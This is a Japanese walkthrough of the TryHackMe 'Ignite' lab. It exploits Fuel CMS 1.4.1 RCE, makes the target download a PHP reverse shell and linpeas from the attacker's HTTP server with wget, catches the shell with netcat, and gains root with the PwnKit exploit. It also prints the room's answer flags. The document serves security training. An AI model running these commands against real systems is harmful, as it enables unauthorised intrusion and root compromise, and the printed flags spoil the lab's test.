【TryHackMe】Ignite：Walkthrough

# 概要

TryHackMe「Ignite」のWalkthroughです。

https://tryhackme.com/r/room/ignite

# Task1

## **Q1**.*User.txt*

`nmap`でポートスキャンを実行します。

```
$ nmap -Pn -sC -A -T4 -sV 10.10.153.184
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-13 14:21 EDT
Nmap scan report for 10.10.153.184
Host is up (0.30s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT      STATE    SERVICE VERSION
80/tcp    open     http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/fuel/
|_http-title: Welcome to FUEL CMS
|_http-server-header: Apache/2.4.18 (Ubuntu)
15742/tcp filtered unknown

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.40 seconds
```

`http:80`のポートがオープンだとわかりました。

隠しディレクトリを列挙します。

```
$ gobuster dir -u http://10.10.153.184 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
```

```
/home                 (Status: 200) [Size: 16597]
/index                (Status: 200) [Size: 16597]
/0                    (Status: 200) [Size: 16597]
/assets               (Status: 301) [Size: 315] [--> http://10.10.153.184/assets/]
/offline              (Status: 200) [Size: 70]
/fuel                 (Status: 301) [Size: 313] [--> http://10.10.153.184/fuel/]
```

Webサイトにアクセスすると、`Fuel CMS 1.4`を使用していると分かりました。

![home page.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b2ab1fb0-41db-5df5-bab2-71981d52a21d.png)

GitHubも見つかりました。

https://github.com/daylightstudio/FUEL-CMS

`robots.txt`でも`/fuel/`のパスを見つけました。

![robots.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f5be75ce-e71d-aeb5-5fef-2027d61d09c7.png)

アクセスするとログインフォームにリダイレクトされました。

![login.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/66fbde40-9463-849d-d9b2-5a7c4259d473.png)

インデックスページの下部にクレデンシャル情報を発見しました。

![admin info.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/4ba4ec7c-ae86-d502-d2d3-dbd7919e499e.png)

先ほどのログインページに入力するとログインできました。

![dashboard.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/bad92e38-de95-baea-92ff-f5b16b28c60c.png)

リバースシェルコードのアップロードを試みましたが、出来ませんでした。

![file upload failed.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/049df7d0-da25-8e56-f7fe-c13b8f9e17ff.png)

エクスプロイトコードを検索します。

```
$ searchsploit fuel cms 1.4
----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
fuel CMS 1.4.1 - Remote Code Execution (1)                                         | linux/webapps/47138.py
Fuel CMS 1.4.1 - Remote Code Execution (2)                                         | php/webapps/49487.rb
Fuel CMS 1.4.1 - Remote Code Execution (3)                                         | php/webapps/50477.py
Fuel CMS 1.4.13 - 'col' Blind SQL Injection (Authenticated)                        | php/webapps/50523.txt
Fuel CMS 1.4.7 - 'col' SQL Injection (Authenticated)                               | php/webapps/48741.txt
Fuel CMS 1.4.8 - 'fuel_replace_id' SQL Injection (Authenticated)                   | php/webapps/48778.txt
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
```

`Fuel CMS 1.4.1 - Remote Code Execution (3)`を使用してRCEを成功させました。

https://www.exploit-db.com/exploits/50477

```
$ python /usr/share/exploitdb/exploits/php/webapps/50477.py -u http://10.10.153.184
[+]Connecting...
Enter Command $whoami
systemwww-data
```

ユーザーフラグゲットです。

```
$cat /home/www-data/flag.txt
system6470e394cbf6dab6a91682cc8585059b
```

**A**.**6470e394cbf6dab6a91682cc8585059b**

## **Q2**.*Root.txt*

Netcatなどでリバースシェルを試みましたが成功しませんでした。
なので、リバースシェルファイルをアップロードしての接続を試みました。
リバースシェルファイルがあるディレクトリでHTTPサーバーを立てます。

```
$ python -m http.server 8000
```

ターゲットマシンからアクセスさせリバースシェルファイルを`/var/www/html`配下に置きます。

```
$ wget http://10.6.55.144:8000/php-reverse-shell.php
```

Netcatでリッスンします。

```
$ nc -lvnp 1234
```

`http://<target ip>/php-reverse-shell.php`にアクセスするとNetcatで接続できました。

```
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.153.184] 59842
Linux ubuntu 4.15.0-45-generic #48~16.04.1-Ubuntu SMP Tue Jan 29 18:03:48 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 12:54:28 up  1:33,  0 users,  load average: 10.23, 9.99, 9.89
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
```

TTYに接続します。

```
python -c 'import pty; pty.spawn("/bin/sh")'
```

`sudo -l`で権限昇格に繋がりそうなプログラムを探そうとしましたが、パスワードがかかっていました。

```
$ sudo -l
sudo -l
[sudo] password for www-data:
```

SUIDビットが設定されたプログラムの検索をします。

```
$ find / -user root -perm -4000 2>&1 | grep -v -e "Permission denied" -e "No such file or directory"
```

```
/usr/sbin/pppd
/usr/lib/x86_64-linux-gnu/oxide-qt/chrome-sandbox
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/xorg/Xorg.wrap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/vmware-user-suid-wrapper
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/passwd
/bin/su
/bin/ping6
/bin/ntfs-3g
/bin/ping
/bin/mount
/bin/umount
/bin/fusermount
```

この時点では権限昇格の手がかりを見つけられませんでした。

`linpeas`を使って権限昇格の手掛かりを探します。
KaliでWebサーバーを立てターゲットマシンからダウンロードします。

- **Kali**

```
$ python -m http.server 8000
```

- **Target**

```
$ wget http://10.6.55.144:8000/linpeas.sh
```

`linpeas`を実行します。

```
$ chmod +x linpeas.sh
```

```
$ /bin/sh linpeas.sh
```

`sudo`のバージョンが分かったのエクスプロイトコードを探して実行しましたが、刺さりませんでした。

```
Sudo version 1.8.16
```

https://www.exploit-db.com/exploits/51217

`PwnKit`という脆弱性情報を見つけました。

```
[+] [CVE-2021-4034] PwnKit

   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
   Exposure: probable
   Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main
```

Kali側にPwnKitのエクスプロイトコードを用意します。

https://github.com/ly4k/PwnKit/tree/main

```
$ git clone https://github.com/ly4k/PwnKit.git
```

再度Kali側でHTTPサーバーを立ててターゲットマシンからPwnKitをダウンロードします。

- **Kali**

```
$ python -m http.server 8000
```

- **Target**

```
$ wget -r http://10.6.55.144:8000/PwnKit/
```

PwnKitで特権ユーザーのシェル獲得を試みます。

```
$ chmod +x ./PwnKit
chmod +x ./PwnKit
$ ./PwnKit '/bin/sh -i'
```

成功しました。

```
$ ./PwnKit '/bin/sh -i'
./PwnKit '/bin/sh -i'
# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
```

`/root/root.txt`ファイルのフラグを取得してルームクリアです。

```
# ls -l
ls -l
total 4
-rw-r--r-- 1 root root 34 Jul 26  2019 root.txt
# cat /root/root.txt
cat /root/root.txt
b9bbcb33e11b80be759c4e844862482d
```

**A**.**b9bbcb33e11b80be759c4e844862482d**